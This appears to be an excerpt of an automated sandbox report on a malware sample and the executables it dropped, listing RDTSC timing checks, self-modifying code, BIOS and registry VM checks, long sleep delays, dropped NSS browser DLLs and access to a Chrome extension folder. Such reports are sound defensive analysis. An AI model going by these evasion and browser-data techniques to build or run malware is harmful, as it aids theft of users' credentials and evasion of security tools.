Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF64CC second address: EF64D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF64D2 second address: EF64D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EBCC82 second address: EBCC87 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF9B9B second address: EF9BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jbe 00007F5BB0EE6E16h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF88EE second address: EF88F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F5BB112B656h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFAF89 second address: EFAF8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFAF8D second address: EFAF91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFAF91 second address: EFAF9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFAF9F second address: EFAFA5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFAFA5 second address: EFAFB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5BB0EE6E1Fh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFAFB8 second address: EFB023 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov esi, dword ptr [ebp+124511A7h] 0x0000000f mov dword ptr [ebp+122D1A9Eh], edx 0x00000015 push 00000000h 0x00000017 pushad 0x00000018 mov ecx, dword ptr [ebp+122D3BB8h] 0x0000001e call 00007F5BB112B65Dh 0x00000023 sub dword ptr [ebp+1245050Ah], ecx 0x00000029 pop ecx 0x0000002a popad 0x0000002b push 00000000h 0x0000002d jo 00007F5BB112B656h 0x00000033 xchg eax, ebx 0x00000034 jnp 00007F5BB112B660h 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e jmp 00007F5BB112B668h 0x00000043 push eax 0x00000044 pop eax 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFB023 second address: EFB02D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F5BB0EE6E16h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFB02D second address: EFB031 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFBA87 second address: EFBB00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov esi, dword ptr [ebp+122D38F4h] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F5BB0EE6E18h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e mov edi, dword ptr [ebp+122D1CD1h] 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007F5BB0EE6E18h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 00000017h 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 push ecx 0x00000051 jbe 00007F5BB0EE6E1Ch 0x00000057 mov edi, dword ptr [ebp+122D183Bh] 0x0000005d pop esi 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFBB00 second address: EFBB04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFBB04 second address: EFBB0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFC535 second address: EFC5BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B666h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F5BB112B658h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 jo 00007F5BB112B656h 0x0000002d push 00000000h 0x0000002f mov edi, dword ptr [ebp+122D18C1h] 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edx 0x0000003a call 00007F5BB112B658h 0x0000003f pop edx 0x00000040 mov dword ptr [esp+04h], edx 0x00000044 add dword ptr [esp+04h], 00000015h 0x0000004c inc edx 0x0000004d push edx 0x0000004e ret 0x0000004f pop edx 0x00000050 ret 0x00000051 mov esi, dword ptr [ebp+122D393Ch] 0x00000057 xchg eax, ebx 0x00000058 jc 00007F5BB112B65Eh 0x0000005e jbe 00007F5BB112B658h 0x00000064 pushad 0x00000065 popad 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 jng 00007F5BB112B658h 0x0000006f pushad 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFD17D second address: EFD181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF9325 second address: EF9329 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF9329 second address: EF932F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFF7E2 second address: EFF7E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFF7E6 second address: EFF7EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFF7EC second address: EFF87E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5BB112B658h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F5BB112B658h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov di, 249Bh 0x0000002b push 00000000h 0x0000002d mov ebx, dword ptr [ebp+122D3039h] 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ecx 0x00000038 call 00007F5BB112B658h 0x0000003d pop ecx 0x0000003e mov dword ptr [esp+04h], ecx 0x00000042 add dword ptr [esp+04h], 0000001Dh 0x0000004a inc ecx 0x0000004b push ecx 0x0000004c ret 0x0000004d pop ecx 0x0000004e ret 0x0000004f jmp 00007F5BB112B663h 0x00000054 push eax 0x00000055 pushad 0x00000056 jmp 00007F5BB112B667h 0x0000005b push eax 0x0000005c push edx 0x0000005d push ecx 0x0000005e pop ecx 0x0000005f rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFA373 second address: EFA37E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5BB0EE6E16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EFA37E second address: EFA384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: F03AAA second address: F03B1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F5BB0EE6E18h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 mov bl, ah 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007F5BB0EE6E18h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 00000018h 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 cmc 0x00000045 push 00000000h 0x00000047 mov di, FF4Fh 0x0000004b xchg eax, esi 0x0000004c pushad 0x0000004d push eax 0x0000004e pushad 0x0000004f popad 0x00000050 pop eax 0x00000051 push ebx 0x00000052 push esi 0x00000053 pop esi 0x00000054 pop ebx 0x00000055 popad 0x00000056 push eax 0x00000057 push ecx 0x00000058 push eax 0x00000059 push edx 0x0000005a jg 00007F5BB0EE6E16h 0x00000060 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: F04C6F second address: F04C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: F05B38 second address: F05B3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: F09B75 second address: F09B7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 67063D instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Special instruction interceptor: First address: D4ED05 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Special instruction interceptor: First address: EE974E instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Special instruction interceptor: First address: EE9AB0 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Special instruction interceptor: First address: D4EC3B instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Special instruction interceptor: First address: EF2A65 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Special instruction interceptor: First address: F6DD91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A7ED05 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C1974E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C19AB0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A7EC3B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C22A65 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C9DD91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Special instruction interceptor: First address: 8C4DBD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Special instruction interceptor: First address: 8C4CF6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Special instruction interceptor: First address: A607F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Special instruction interceptor: First address: A603C7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Special instruction interceptor: First address: AF37A7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Special instruction interceptor: First address: 7B81C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Special instruction interceptor: First address: 215AC1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Special instruction interceptor: First address: 2A0DD2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Special instruction interceptor: First address: A1063D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Special instruction interceptor: First address: 1CDB31 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Special instruction interceptor: First address: 3948DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Special instruction interceptor: First address: 37A3EB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Special instruction interceptor: First address: 3FE4A5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Special instruction interceptor: First address: 1D2751 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Special instruction interceptor: First address: 5BADB31 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Special instruction interceptor: First address: 5D748DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Special instruction interceptor: First address: 5D5A3EB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Special instruction interceptor: First address: 5DDE4A5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Special instruction interceptor: First address: 65FDB31 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Special instruction interceptor: First address: 67C48DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Special instruction interceptor: First address: 67AA3EB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Special instruction interceptor: First address: 5BB2751 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Special instruction interceptor: First address: 682E4A5 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Memory allocated: 5030000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Memory allocated: 5360000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Memory allocated: 5160000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsHCFCAAEBGC.exe

Code function: 19_2_05190CCE rdtsc

19_2_05190CCE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1048
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1021
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 381
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 992
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 998
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1296
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Window / User API: threadDelayed 739
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Window / User API: threadDelayed 836
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Window / User API: threadDelayed 746
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Window / User API: threadDelayed 2484
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Window / User API: threadDelayed 781
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Window / User API: threadDelayed 554

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 2260	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5440	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6160	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8828	Thread sleep count: 1048 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8828	Thread sleep time: -2097048s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8840	Thread sleep count: 1021 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8840	Thread sleep time: -2043021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8916	Thread sleep count: 381 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8916	Thread sleep time: -11430000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6548	Thread sleep count: 992 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6548	Thread sleep time: -1984992s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8848	Thread sleep count: 998 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8848	Thread sleep time: -1996998s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3808	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 368	Thread sleep count: 1370 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 368	Thread sleep time: -2741370s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8824	Thread sleep count: 1296 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8824	Thread sleep time: -2593296s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe TID: 7512	Thread sleep count: 739 > 30
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe TID: 7512	Thread sleep time: -1478739s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe TID: 8064	Thread sleep count: 836 > 30
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe TID: 8064	Thread sleep time: -1672836s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe TID: 6404	Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe TID: 7704	Thread sleep count: 746 > 30
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe TID: 7704	Thread sleep time: -1492746s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe TID: 7516	Thread sleep count: 2484 > 30
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe TID: 7516	Thread sleep time: -4970484s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe TID: 7180	Thread sleep count: 781 > 30
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe TID: 7180	Thread sleep time: -1562781s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe TID: 5688	Thread sleep time: -54027s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe TID: 7136	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe TID: 7156	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe TID: 8256	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe TID: 8092	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe TID: 7380	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe TID: 408	Thread sleep time: -52026s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe TID: 3128	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe TID: 8084	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe TID: 8088	Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe TID: 6612	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe TID: 3056	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe TID: 3192	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe TID: 9040	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe TID: 9056	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsHCFCAAEBGC.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4EC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C4EC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
